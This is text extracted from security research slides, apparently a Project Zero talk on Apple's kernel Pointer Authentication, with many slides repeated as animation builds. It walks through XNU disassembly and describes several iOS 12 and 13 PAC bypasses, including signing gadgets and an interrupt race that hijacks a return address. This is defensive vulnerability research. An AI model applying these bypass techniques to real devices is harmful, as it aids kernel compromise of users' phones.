

# iOS Kernel PAC, One Year Later

Brandon Azad, Google Project Zero

# Project Zero

News and updates from the Project Zero team at Google

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## Examining Pointer Authentication on the iPhone XS

Posted by Brandon Azad, Project Zero

In this post I examine Apple's implementation of Pointer Authentication on the A12 SoC used in the iPhone XS, with a focus on how Apple has improved over the ARM standard. I then demonstrate a way to use an arbitrary kernel read/write primitive to forge kernel PAC signatures for the A keys, which is sufficient to execute arbitrary code in the kernel using JOP. The technique I discovered was (mostly) fixed in iOS 12.1.3. In fact, this fix first appeared in the 16D5032a beta while my research was still ongoing.

## ARMv8.3-A Pointer Authentication

Among the most exciting security features introduced with ARMv8.3-A is Pointer Authentication, a feature where the upper bits of a pointer are used to store a Pointer Authentication Code (PAC), which is essentially a cryptographic signature on the pointer value and some additional context. Special instructions have been introduced to add an authentication code to a pointer and to verify an authenticated pointer's PAC and restore the original pointer value. This gives the system a way to make cryptographically strong guarantees about the likelihood that certain pointers have been tampered with by attackers, which offers the possibility of greatly improving application security.

(Proper terminology dictates that the security feature is called Pointer Authentication while the cryptographic signature that is inserted into the unused bits of a pointer is called the Pointer Authentication

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# A Study in PAC

Brandon Azad

MOSEC 2019




# ARMv8.3-A Pointer Authentication

# Pointer Authentication


`0xffffffff01e335a5c`

# Pointer Authentication




`0xffffffff01e335a5c`

# Pointer Authentication



0x2ab4ae701e335a5c

# Pointer Authentication





# PAC instructions

---

PACIA	X1, X8	Sign pointer in X1 with IA key and context X8
PACIZA	X1	Sign pointer in X1 with IA key and context 0
PACIBSP		Sign LR with IB key and context SP
AUTIA	X2, X8	Authenticate signed pointer in X2 with IA key and context X8
XPACI	X3	Strip the PAC from the pointer in X3 without validation
BLRAA	X4, X8	Authenticate X4 with context X8, then branch-with-link
LDRAA	X9, [X5]	Authenticate X5 with context 0, then load 64-bit value into X9
RETAB		Authenticate LR with IB key and context SP, then return

---

PAC in the iOS 12 kernel

# PAC key use in XNU

---

IA	Global code pointer	Function pointers, vtable methods
IB	Thread-local code pointer	Return addresses
DA	Global data pointer	Vtable pointers
DB	Thread-local data pointer	(unused)
GA	Generic data	Thread saved state: PC, LR, CPSR

---

# Virtual method calls

```
loc_FFFFFFFF0081632D0
STR      XZR, [SP,#0x30+target]
LDR      W2, [X19,#trap_args.index]
LDR      X8, [X21]
LDR      X8, [X8,#0x5C8]

ADD      X1, SP, #0x30+target
MOV      X0, X21
BLR      X8

LDR      X9, [SP,#0x30+target]
CMP      X0, #0
CCMP     X9, #0, #4, NE
B.EQ     loc_FFFFFFFF008163330
```

```
loc_FFFFFFFF0081670E0
STR      XZR, [SP,#0x30+target]
LDR      W2, [X19,#trap_args.index]
LDR      X8, [X20]
LDRAA    X9, [X8,#0x5C8]!
MOVK     X8, #0x2BCB,LSL#48
ADD      X1, SP, #0x30+target
MOV      X0, X20
BLRAA    X9, X8

LDR      X9, [SP,#0x30+target]
CMP      X0, #0
CCMP     X9, #0, #4, NE
B.EQ     loc_FFFFFFFF008167170
```

# Signing saved thread state (kernel & user)

```
FFFFFFFF0079BD090 ; void __fastcall sign_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)
FFFFFFFF0079BD090 sign_thread_state ; CODE XREF: fleh_dispatch64+9C↑p
FFFFFFFF0079BD090 ; Lel1_sp0_synchronous_vector_long_impl_S3_4_c15_
FFFFFFFF0079BD090 PACGA X1, X1, X0
FFFFFFFF0079BD094 AND X2, X2, #NOT 0x20000000 ; Carry flag
FFFFFFFF0079BD098 PACGA X1, X2, X1
FFFFFFFF0079BD09C PACGA X1, X3, X1
FFFFFFFF0079BD0A0 STR X1, [X0,#arm_context.pac_sig]
FFFFFFFF0079BD0A4 RET
FFFFFFFF0079BD0A4 ; End of function sign_thread_state
FFFFFFFF0079BD0A4
```

# Verifying thread state signatures

```
FFFFFFFF0079BD0A8 ; void __fastcall verify_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)
FFFFFFFF0079BD0A8 verify_thread_state ; CODE XREF: exception_return+54↑p
FFFFFFFF0079BD0A8 ; machine_load_context+4C↑p ...
FFFFFFFF0079BD0A8 PACGA X1, X1, X0
FFFFFFFF0079BD0AC AND X2, X2, #NOT 0x20000000 ; Carry flag
FFFFFFFF0079BD0B0 PACGA X1, X2, X1
FFFFFFFF0079BD0B4 PACGA X1, X3, X1
FFFFFFFF0079BD0B8 LDR X2, [X0,#arm_context.pac_sig]
FFFFFFFF0079BD0BC CMP X1, X2
FFFFFFFF0079BD0C0 B.NE loc_FFFFFFFF0079BD0C8
FFFFFFFF0079BD0C4 RET
FFFFFFFF0079BD0C8 ; -----
FFFFFFFF0079BD0C8 loc_FFFFFFFF0079BD0C8 ; CODE XREF: verify_thread_state+18↑j
FFFFFFFF0079BD0C8 MOV X1, X0
FFFFFFFF0079BD0CC ADR X0, aJopHashMismatchc ; "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0
FFFFFFFF0079BD0D0 BL panic_with_thread_kernel_state
FFFFFFFF0079BD0D0 ; End of function verify_thread_state
FFFFFFFF0079BD0D0 ; -----
FFFFFFFF0079BD0D4 aJopHashMismatchc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0
FFFFFFFF0079BD0D4 ; DATA XREF: verify_thread_state+24↑o
FFFFFFFF0079BD10C ALIGN 0x20
```

# Exception return

```
FFFFFFFF0079B3A40 exception_return ; CODE XREF: return_to_kernel:do_exception_return
FFFFFFFF0079B3A40 ; user_set_debug_state_and_return+24↓j
FFFFFFFF0079B3A40 MSR #6, #0xF ; Disable exceptions
FFFFFFFF0079B3A44 MRS X3, #0, c13, c0, #4 ; TPIDR_EL1
FFFFFFFF0079B3A48 MOV SP, X21
FFFFFFFF0079B3A4C LDR X0, [X3, #thread.machine_ctype_data]
FFFFFFFF0079B3A50 STR X0, [SP, #arm_context.x18]
FFFFFFFF0079B3A54
FFFFFFFF0079B3A54 Lexception_return_restore_registers ; CODE XREF: ppltramp_dispatch+BC↓j
FFFFFFFF0079B3A54 LDR X0, [SP, #arm_context.pc]
FFFFFFFF0079B3A58 LDR W1, [SP, #arm_context.cpsr]
FFFFFFFF0079B3A5C LDR W2, [SP, #arm_context.fpsr]
FFFFFFFF0079B3A60 LDR W3, [SP, #arm_context.fpcr]
FFFFFFFF0079B3A64 MSR #0, c4, c0, #1, X0 ; ELR_EL1
FFFFFFFF0079B3A68 MSR #0, c4, c0, #0, X1 ; SPSR_EL1
FFFFFFFF0079B3A6C MSR #3, c4, c4, #1, X2 ; FPSR
FFFFFFFF0079B3A70 MSR #3, c4, c4, #0, X3 ; FPCR
FFFFFFFF0079B3A74 MOV X19, X0
FFFFFFFF0079B3A78 MOV X20, X1
FFFFFFFF0079B3A7C MOV X21, X2
FFFFFFFF0079B3A80 MOV X22, X3
FFFFFFFF0079B3A84 LDR X3, [SP, #arm_context.lr] ; lr
FFFFFFFF0079B3A88 MOV W2, W1 ; cpsr
FFFFFFFF0079B3A8C MOV X1, X0 ; pc
FFFFFFFF0079B3A90 MOV X0, SP ; state
FFFFFFFF0079B3A94 BL verify_thread_state
FFFFFFFF0079B3A98 MOV X0, X19
FFFFFFFF0079B3A9C MOV X1, X20
```



```

FFFFFFFF0079B3B04 LDP Q12, Q13, [X0,#arm_context.d12]
FFFFFFFF0079B3B08 LDP Q14, Q15, [X0,#arm_context.d14]
FFFFFFFF0079B3B0C LDP Q16, Q17, [X0,#arm_context.q16]
FFFFFFFF0079B3B10 LDP Q18, Q19, [X0,#arm_context.q18]
FFFFFFFF0079B3B14 LDP Q20, Q21, [X0,#arm_context.q20]
FFFFFFFF0079B3B18 LDP Q22, Q23, [X0,#arm_context.q22]
FFFFFFFF0079B3B1C LDP Q24, Q25, [X0,#arm_context.q24]
FFFFFFFF0079B3B20 LDP Q26, Q27, [X0,#arm_context.q26]
FFFFFFFF0079B3B24 LDP Q28, Q29, [X0,#arm_context.q28]
FFFFFFFF0079B3B28 LDP Q30, Q31, [X0,#arm_context.q30]
FFFFFFFF0079B3B2C LDP X2, X3, [X0,#arm_context.x2]
FFFFFFFF0079B3B30 LDP X4, X5, [X0,#arm_context.x4]
FFFFFFFF0079B3B34 LDP X6, X7, [X0,#arm_context.x6]
FFFFFFFF0079B3B38 LDP X8, X9, [X0,#arm_context.x8]
FFFFFFFF0079B3B3C LDP X10, X11, [X0,#arm_context.x10]
FFFFFFFF0079B3B40 LDP X12, X13, [X0,#arm_context.x12]
FFFFFFFF0079B3B44 LDP X14, X15, [X0,#arm_context.x14]
FFFFFFFF0079B3B48 LDP X16, X17, [X0,#arm_context.x16]
FFFFFFFF0079B3B4C LDP X18, X19, [X0,#arm_context.x18]
FFFFFFFF0079B3B50 LDP X20, X21, [X0,#arm_context.x20]
FFFFFFFF0079B3B54 LDP X22, X23, [X0,#arm_context.x22]
FFFFFFFF0079B3B58 LDP X24, X25, [X0,#arm_context.x24]
FFFFFFFF0079B3B5C LDP X26, X27, [X0,#arm_context.x26]
FFFFFFFF0079B3B60 LDR X28, [X0,#arm_context.x28]
FFFFFFFF0079B3B64 LDP X29, X30, [X0,#arm_context.x29]
FFFFFFFF0079B3B68 LDR X1, [X0,#arm_context.sp]
FFFFFFFF0079B3B6C MOV SP, X1
FFFFFFFF0079B3B70 LDP X0, X1, [X0,#arm_context.x0]
FFFFFFFF0079B3B74 ERET
FFFFFFFF0079B3B74 ; End of function exception_return
FFFFFFFF0079B3B74

```

Best ROP  
gadget ever!





# Exception return

```
FFFFFFFF0079B3A40 exception_return ; CODE XREF: return_to_kernel:do_exception_return
FFFFFFFF0079B3A40 ; user_set_debug_state_and_return+24↓j
FFFFFFFF0079B3A40 MSR #6, #0xF ; Disable exceptions
FFFFFFFF0079B3A44 MRS X3, #0, c13, c0, #4 ; TPIDR_EL1
FFFFFFFF0079B3A48 MOV SP, X21
FFFFFFFF0079B3A4C LDR X0, [X3, #thread.machine_ctype_data]
FFFFFFFF0079B3A50 STR X0, [SP, #arm_context.x18]
FFFFFFFF0079B3A54
FFFFFFFF0079B3A54 Lexception_return_restore_registers ; CODE XREF: ppltramp_dispatch+BC↓j
FFFFFFFF0079B3A54 LDR X0, [SP, #arm_context.pc]
FFFFFFFF0079B3A58 LDR W1, [SP, #arm_context.cpsr]
FFFFFFFF0079B3A5C LDR W2, [SP, #arm_context.fpsr]
FFFFFFFF0079B3A60 LDR W3, [SP, #arm_context.fpcr]
FFFFFFFF0079B3A64 MSR #0, c4, c0, #1, X0 ; ELR_EL1
FFFFFFFF0079B3A68 MSR #0, c4, c0, #0, X1 ; SPSR_EL1
FFFFFFFF0079B3A6C MSR #3, c4, c4, #1, X2 ; FPSR
FFFFFFFF0079B3A70 MSR #3, c4, c4, #0, X3 ; FPCR
FFFFFFFF0079B3A74 MOV X19, X0
FFFFFFFF0079B3A78 MOV X20, X1
FFFFFFFF0079B3A7C MOV X21, X2
FFFFFFFF0079B3A80 MOV X22, X3
FFFFFFFF0079B3A84 LDR X3, [SP, #arm_context.lr] ; lr
FFFFFFFF0079B3A88 MOV W2, W1 ; cpsr
FFFFFFFF0079B3A8C MOV X1, X0 ; pc
FFFFFFFF0079B3A90 MOV X0, SP ; state
FFFFFFFF0079B3A94 BL verify_thread_state
FFFFFFFF0079B3A98 MOV X0, X19
FFFFFFFF0079B3A9C MOV X1, X20
```

iOS 12 PAC bypasses

# iOS 12 kernel PAC bypasses

---

PAC signing gadget	1
PAC bruteforce gadget	1
Thread state signing gadget	2
Unprotected indirect branch	1
Implementation bug	1

---

# A Study in PAC, bypass #1: signing gadget

```
sysctl_unregister_oid
```

```
...
```

```
LDR    X10, [X9, #0x30]!  
CBNZ   X19, loc_FFFFFFFF007EBD330  
CBZ    X10, loc_FFFFFFFF007EBD330  
MOV    X19, #0  
MOV    X11, X9  
MOVK   X11, #0x14EF, LSL#48  
AUTIA  X10, X11  
PACIZA X10  
STR    X10, [X9]
```

# A Study in PAC, bypass #1: signing gadget

sysctl\_unregister\_oid

```
...  
LDR    X10, [X9, #0x30]!  
CBNZ   X19, loc_FFFFFFFF007EBD330  
CBZ    X10, loc_FFFFFFFF007EBD330  
MOV    X19, #0  
MOV    X11, X9  
MOVK   X11, #0x14EF, LSL#48  
AUTIA  X10, X11  
PACIZA X10  
STR    X10, [X9]
```

AUTIA doesn't fault;  
AUTIA+PACIZA is a  
signing gadget

# A Study in PAC, bypass #2: bruteforce gadget

```
sysctl_unregister_oid
```

```
...
```

```
LDR    X10, [X9, #0x30]!
```

```
...
```

```
MOV    X11, X9
```

```
MOVK   X11, #0x14EF, LSL#48
```

```
MOV    X12, X10
```

```
AUTIA  X12, X11
```

```
XPACI  X10
```

```
CMP    X12, X10
```

```
PACIZA X10
```

```
CSEL   X10, X10, X12, EQ
```

```
STR    X10, [X9]
```

# A Study in PAC, bypass #2: bruteforce gadget

sysctl\_unregister\_oid

```
...
LDR    X10, [X9, #0x30]!
...
MOV    X11, X9
MOVK   X11, #0x14EF, LSL#48
MOV    X12, X10
AUTIA  X12, X11
XPACI  X10
CMP    X12, X10
PACIZA X10
CSEL   X10, X10, X12, EQ
STR    X10, [X9]
```

Can be called repeatedly until we guess the right PAC

# A Study in PAC, bypass #3: state signing gadget

```
copyio_error
```

```
...
```

```
RETAB
```

```
__bcopyin
```

```
PACIBSP
```

```
STP    X29, X30, [SP, #-0x10]!
```

```
MOV    X29, SP
```

```
MRS    X10, TPIDR_EL1    ;; thread
```

```
LDR    X11, [X10, #thread.recover]
```

```
ADRL   X3, copyio_error
```

```
STR    X3, [X10, #thread.recover]
```

```
...
```



# A Study in PAC, bypass #3: state signing gadget

```
copyio_error
```

```
...
```

```
RETAB
```

```
__bcopyin
```

```
PACIBSP
```

```
STP    X29, X30, [SP, #-0x10]!
```

```
MOV    X29, SP
```

```
MRS    X10, TPIDR_EL1    ;; thread
```

```
LDR    X11, [X10, #thread.recover]
```

```
ADRL   X3, copyio_error
```

```
STR    X3, [X10, #thread.recover]
```

```
...
```

Unprotected code  
pointer used for  
control flow




# A Study in PAC, bypass #4: unprotected branch

```
ipc_kmsg_clean_body
...
ADR      X25, jpt_FFFFFFFF0079CFAF0
...
BL       ipc_port_release_receive
...
CMP      W9, #3 ; switch 4 cases
B.HI    def_FFFFFFFF0079CFAF0
LDRSW   X9, [X25,X9,LSL#2]
ADD     X9, X9, X25
BR      X9      ; switch jump
```

# A Study in PAC, bypass #4: unprotected branch

```
ipc_kmsg_clean_body
```

```
...  
ADR    X25, jpt_FFFFFFFF0079CFAF0  
...  
BL     ipc_port_release_receive  
...  
CMP    W9, #3 ; switch 4 cases  
B.HI   def_FFFFFFFF0079CFAF0  
LDRSW  X9, [X25,X9,LSL#2]  
ADD    X9, X9, X25  
BR     X9 ; switch jump
```



Unprotected  
indirect branch

# A Study in PAC, bypass #4: unprotected branch

```
ipc_kmsg_clean_body
```

```
...  
ADR    X25, jpt_FFFFFFFF0079CFAF0  
...  
BL     ipc_port_release_receive  
...  
CMP    W9, #3 ; switch 4 cases  
B.HI   def_FFFFFFFF0079CFAF0  
LDRSW  X9, [X25, X9, LSL#2]  
ADD    X9, X9, X25  
BR     X9 ; switch jump
```

Function call spills  
X25 (jump table) to  
the stack

Unprotected  
indirect branch

# A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)
{
    user_state = zalloc(user_ss_zone);

    thread->machine.upcb = user_state;

    user_state = thread->machine.upcb;

    sign_thread_state(user_state,
        user_state->pc,
        user_state->cpsr,
        user_state->lr);
}
```

# A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)
{
    user_state = zalloc(user_ss_zone);

    thread->machine.upcb = user_state;

    user_state = thread->machine.upcb;

    sign_thread_state(user_state,
        user_state->pc,
        user_state->cpsr,
        user_state->lr);
}
```

Interrupts are  
enabled

# Signing saved thread state (kernel & user)

```
FFFFFFFF0079BD090 ; void __fastcall sign_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)
FFFFFFFF0079BD090 sign_thread_state ; CODE XREF: fleh_dispatch64+9C↑p
FFFFFFFF0079BD090 ; Lel1_sp0_synchronous_vector_long_impl_S3_4_c15_
FFFFFFFF0079BD090 PACGA X1, X1, X0
FFFFFFFF0079BD094 AND X2, X2, #NOT 0x20000000 ; Carry flag
FFFFFFFF0079BD098 PACGA X1, X2, X1
FFFFFFFF0079BD09C PACGA X1, X3, X1
FFFFFFFF0079BD0A0 STR X1, [X0,#arm_context.pac_sig]
FFFFFFFF0079BD0A4 RET
FFFFFFFF0079BD0A4 ; End of function sign_thread_state
FFFFFFFF0079BD0A4
```

# A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)
{
    user_state = zalloc(user_ss_zone);

    thread->machine.upcb = user_state;

    user_state = thread->machine.upcb;

    sign_thread_state(user_state,
        user_state->pc,
        user_state->cpsr,
        user_state->lr);
}
```


Interrupts are  
enabled



# A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state,  
                    user_state->pc,  
                    user_state->cpsr,  
                    user_state->lr);  
}
```

Parameters to sign  
are read from  
memory



# Attacking iPhone XS Max bypass: validation bug

```
jopdetector                                ; CODE XREF: sub_FFFFFFFF0079FFA40+54↑p
                                           ; machine_load_context+4C↑p ...
    PACGA    X1, X1, X0
    AND      X2, X2, #0xFFFFFFFFFFFFFFFF
    PACGA    X1, X2, X1
    PACGA    X1, X3, X1
    LDR      X2, [X0,#0x128]
    CMP      X1, X2
    RET

; End of function jopdetector

; -----
    MOV      X1, X0
    ADR      X0, aJopHashMismatchc ; "JOP Hash Mismatch Detected (PC, CPSR, o"...
    BL      callPanic
; -----
aJopHashMismatchc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0
                                           ; DATA XREF: __text:FFFFFFF007A090C8↑o
    ALIGN   0x20
```

# Attacking iPhone XS Max bypass: validation bug

```
jopdetector                                ; CODE XREF: sub_FFFFFFFF0079FFA40+54↑p
                                           ; machine_load_context+4C↑p ...
    PACGA    X1, X1, X0
    AND      X2, X2, #0xFFFFFFFFFFFFFFFF
    PACGA    X1, X2, X1
    PACGA    X1, X3, X1
    LDR      X2, [X0, #0x128]
    CMP      X1, X2
    RET

; End of function jopdetector

; -----
    MOV      X1, X0
    ADR      X0, aJopHashMismatchc ; "JOP Hash Mismatch Detected (PC, CPSR, o"...
    BL      callPanic
; -----
aJopHashMismatchc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0
                                           ; DATA XREF: __text:FFFFFFF007A090C8↑o
    ALIGN   0x20
```


# Attacking iPhone XS Max bypass: validation bug

```
jopdetector                                ; CODE XREF: sub_FFFFFFFF007A09C8+541p
                                           ; machine_load_context+
    PACGA      X1, X1, X0
    AND        X2, X2, #0xFFFFFFFF
    PACGA      X1, X2, X1
    PACGA      X1, X3, X1
    LDR        X2, [X0, #0x128]
    CMP        X1, X2
    RET

; End of function jopdetector

; -----
    MOV        X1, X0
    ADR        X0, aJopHashMismatchc ; "JOP Hash Mismatch Detected (PC, CPSR, o"...
    BL        callPanic

; -----
aJopHashMismatchc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0
                                           ; DATA XREF: __text:FFFFFFF007A09C81o
    ALIGN     0x20
```



# iOS 13 changes

# PAC key use in XNU


IA	Global code pointer	Function pointers, vtable methods
IB	Thread-local code pointer	Return addresses
DA	Global data pointer	Vtable pointers
DB	Thread-local data pointer	(unused)
GA	Generic data	Thread saved state: PC, LR, CPSR, <b>X16, X17</b>

New protected registers



# Signing saved thread state in iOS 13

```
FFFFFFFF0081C591C ; void __fastcall __spoils<X1,X2> sign_thread_state(arm_context *arm_context, u64 pc, u64
FFFFFFFF0081C591C sign_thread_state ; CODE XREF: ast_400+F4↑p
FFFFFFFF0081C591C ; stack_alloc+lCC↑p ...
FFFFFFFF0081C591C PACGA X1, X1, X0 ; pc
FFFFFFFF0081C5920 AND X2, X2, #NOT 0x20000000
FFFFFFFF0081C5924 PACGA X1, X2, X1 ; cpsr
FFFFFFFF0081C5928 PACGA X1, X3, X1 ; lr
FFFFFFFF0081C592C PACGA X1, X4, X1 ; x16
FFFFFFFF0081C5930 PACGA X1, X5, X1 ; x17
FFFFFFFF0081C5934 STR X1, [X0,#arm_context.pac_signature]
FFFFFFFF0081C5938 RET
FFFFFFFF0081C5938 ; End of function sign_thread_state
FFFFFFFF0081C5938
```



X16 and X17 should now be safe  
from modification during an interrupt

# Hardened switch statements

ipc\_kmsg\_clean\_body

```
...  
ADR    X25, jpt_FFFFFFFF0079CFAF0  
...  
...  
CMP    W9, #3 ; switch 4 cases  
B.HI   def_FFFFFFFF0079CFAF0  
LDRSW  X9, [X25,X9,LSL#2]  
ADD    X9, X9, X25  
BR     X9 ; switch jump
```

ipc\_kmsg\_clean\_body

```
...  
CMP    W16, #4 ; switch 5 cases  
B.HI   def_FFFFFFFF007B8F8B0  
CMP    X16, #4  
CSEL   X16, X16, XZR, LS  
ADR    X17, jpt_FFFFFFFF007B8F8B0  
NOP  
LDRSW  X16, [X17,X16,LSL#2]  
ADD    X16, X17, X16  
BR     X16 ; switch jump
```



Unprotected indirect branches only  
use X16 and X17



# Analyzing PAC on iOS 13

# A Study in PAC, bypass 5: state signing gadget

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state,  
        user_state->pc,  
        user_state->cpsr,  
        user_state->lr);  
}
```

# Bypass 5 fix

```
machine_thread_create(thread *thread, ...)
{
    user_state = zalloc(user_ss_zone);

    thread->machine.upcb = user_state;

    user_state = thread->machine.upcb;


    sign_thread_state(user_state, 0, 0, 0, 0, 0);

}
```

# Bypass 5 fix

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state, 0, 0, 0, 0, 0);  
  
}
```

Issue: Interrupts  
are still enabled!



# Bypass 5 fix (assembly)

```
machine_thread_state_initialize
```

```
...
```

```
LDR    X0, [X19,#thread.upcb] ; arm_context
```

```
CBZ    X0, loc_FFFFFFFF007CD2A34
```

```
MOV    W2, #0 ; cpsr
```

```
MOV    X1, #0 ; pc
```

```
MOV    X3, #0 ; lr
```

```
MOV    X4, #0 ; x16
```

```
MOV    X5, #0 ; x17
```

```
BL     sign_thread_state
```

```
...
```

Imagine getting an  
interrupt here



# Interrupt exceptions

```
e11_sp0_fiq_vector_long
```

```
...
```

```
STP    X0, X1, [SP,#arm_context.x0]
```

```
...
```

```
ADRL   X1, fleh_fiq
```

```
B      fleh_dispatch64
```

```
fleh_dispatch64
```


```
STP    X2, X3, [X0,#arm_context.x2]
```

```
STP    X4, X5, [X0,#arm_context.x4]
```

```
STP    X6, X7, [X0,#arm_context.x6]
```

```
STP    X8, X9, [X0,#arm_context.x8]
```

```
...
```



# Interrupt exceptions

```
e11_sp0_fiq_vector_long
```

```
...
```

```
STP    X0, X1, [SP,#arm_context.x0]
```

```
...
```

```
ADRL   X1, fleh_fiq
```

```
B      fleh_dispatch64
```

```
fleh_dispatch64
```


```
STP    X2, X3, [X0,#arm_context.x2]
```

```
STP    X4, X5, [X0,#arm_context.x4]
```

```
STP    X6, X7, [X0,#arm_context.x6]
```

```
STP    X8, X9, [X0,#arm_context.x8]
```

```
...
```



# Bypass #6: Interrupts during thread state signing

```
machine_thread_state_initialize
```

```
...
```

```
LDR    X0, [X19,#thread.upcb] ; arm_context
```

```
CBZ    X0, loc_FFFFFFFF007CD2A34
```

```
MOV    W2, #0 ; cpsr
```

```
MOV    X1, #0 ; pc
```


```
MOV    X3, #0 ; lr
```

```
MOV    X4, #0 ; x16
```

```
MOV    X5, #0 ; x17
```

```
BL     sign_thread_state
```

```
...
```



An interrupt here would spill X0-X5, allowing an attacker to change the parameters being signed



# Finding a better interrupt point

```
void thread_state64_to_saved_state(new_state, thread_state)
{
    ...
    new_pc = new_state->pc;
    x16 = thread_state->x16;
    x17 = thread_state->x17;
    cpsr = thread_state->cpsr;
    lr = thread_state->lr;
    verify_thread_state(thread_state, thread_state->pc, cpsr,
                       lr, x16, x17);
    thread_state->pc = new_pc;
    sign_thread_state(thread_state, new_pc, cpsr,
                     lr, x16, x17);
}
```


## thread\_state64\_to\_saved\_state

```
...
MOV    X8, X30
MOV    X0, X9   ; arm_context *
LDP    X4, X5, [X0,#arm_context.x16] ; x17
LDR    X6, [X0,#arm_context.pc]
LDR    W7, [X0,#arm_context.cpsr]
LDR    X3, [X0,#arm_context.lr] ; lr
MOV    X1, X6   ; pc
MOV    W2, W7   ; cpsr
BL     verify_thread_state
MOV    X1, X6
MOV    W2, W7   ; cpsr
MOV    X1, X11  ; pc
STR    X1, [X0,#arm_context.pc]
BL     sign_thread_state
MOV    X30, X8
...
RET
```

## thread\_state64\_to\_saved\_state

```
...
MOV    X8, X30
MOV    X0, X9    ; arm_context *
LDP    X4, X5, [X0,#arm_context.x16] ; x17
LDR    X6, [X0,#arm_context.pc]
LDR    W7, [X0,#arm_context.cpsr]
LDR    X3, [X0,#arm_context.lr] ; lr
MOV    X1, X6    ; pc
MOV    W2, W7    ; cpsr
BL     verify_thread_state
MOV    X1, X6
MOV    W2, W7    ; cpsr
MOV    X1, X11   ; pc
STR    X1, [X0,#arm_context.pc]
BL     sign_thread_state
MOV    X30, X8
...
RET
```

LR (X30) saved to  
X8 during function  
calls



## thread\_state64\_to\_saved\_state

```
...
MOV    X8, X30
MOV    X0, X9    ; arm_context *
LDP    X4, X5, [X0,#arm_context.x16] ; x17
LDR    X6, [X0,#arm_context.pc]
LDR    W7, [X0,#arm_context.cpsr]
LDR    X3, [X0,#arm_context.lr] ; lr
MOV    X1, X6    ; pc
MOV    W2, W7    ; cpsr
BL     verify_thread_state
MOV    X1, X6
MOV    W2, W7    ; cpsr
MOV    X1, X11   ; pc
STR    X1, [X0,#arm_context.pc]
BL     sign_thread_state
MOV    X30, X8
...
RET
```

LR (X30) saved to  
X8 during function  
calls

X8 can be changed  
during an interrupt!

# Bypass #6 idea

- Thread A: Pin to CPU #4 (receives many interrupts)
- Thread B: Pin to CPU #5 (receives few interrupts)
- Thread A: Loop on `thread_set_state()`
- Thread B: Monitor CPU #4's `cpu_data` for an interrupt
- Thread A: Gets interrupted just before `"MOV X30, X8"`
- Thread B: Overwrite CPU #4's saved X8 register value
- Thread A: Returns from interrupt handler, resumes at `"MOV X30, X8"`
- Thread A: Executes `"RET"`, jumps to arbitrary PC

```
thread_state64_to_saved_state
```


```
...  
MOV    X8, X30  
...  
MOV    X30, X8  
...  
RET
```

```
machine_thread_set_state
```

```
...  
BL     thread_state64_to_saved_state  
...
```

*Kernel*

*User*



```
thread_set_state()
```

Thread A (CPU 4)

```
if (cpu_4_interrupted)  
    overwrite_saved_x8()
```

Thread B (CPU 5)

```
thread_state64_to_saved_state
```

```
...  
MOV    X8, X30  
...  
MOV    X30, X8  
...  
RET
```

```
machine_thread_set_state
```

```
...  
BL     thread_state64_to_saved_state  
...
```

Kernel

User


```
thread_set_state()
```

Thread A (CPU 4)

```
if (cpu_4_interrupted)  
    overwrite_saved_x8()
```

Thread B (CPU 5)

Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
MOV    X30, X8  
...  
RET
```

machine\_thread\_set\_state

```
...  
BL     thread_state64_to_saved_state  
...
```


if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)





Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
▶ MOV    X8, X30  
...  
MOV    X30, X8  
...  
RET
```

machine\_thread\_set\_state


```
...  
BL     thread_state64_to_saved_state  
...
```

if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state

```
...  
MOV    X8, X30  
...  
▶ MOV    X30, X8  
...  
RET
```


machine\_thread\_set\_state

```
...  
BL     thread_state64_to_saved_state  
...
```

```
if (cpu_4_interrupted)  
    overwrite_saved_x8()
```

Thread B (CPU 5)

Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
MOV    X30, X8  
...  
▶ RET
```

machine\_thread\_set\_state


```
...  
BL     thread_state64_to_saved_state  
...
```

if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
MOV    X30, X8  
...  
RET
```

machine\_thread\_set\_state


```
...  
BL     thread_state64_to_saved_state  
...
```

if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state

```
...  
▶ MOV    X8, X30  
...  
MOV    X30, X8  
...  
RET
```


machine\_thread\_set\_state

```
...  
BL     thread_state64_to_saved_state  
...
```

```
if (cpu_4_interrupted)  
    overwrite_saved_x8()
```

Thread B (CPU 5)

Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
▶ ...  
MOV    X30, X8  
...  
RET
```


machine\_thread\_set\_state

```
...  
BL     thread_state64_to_saved_state  
...
```

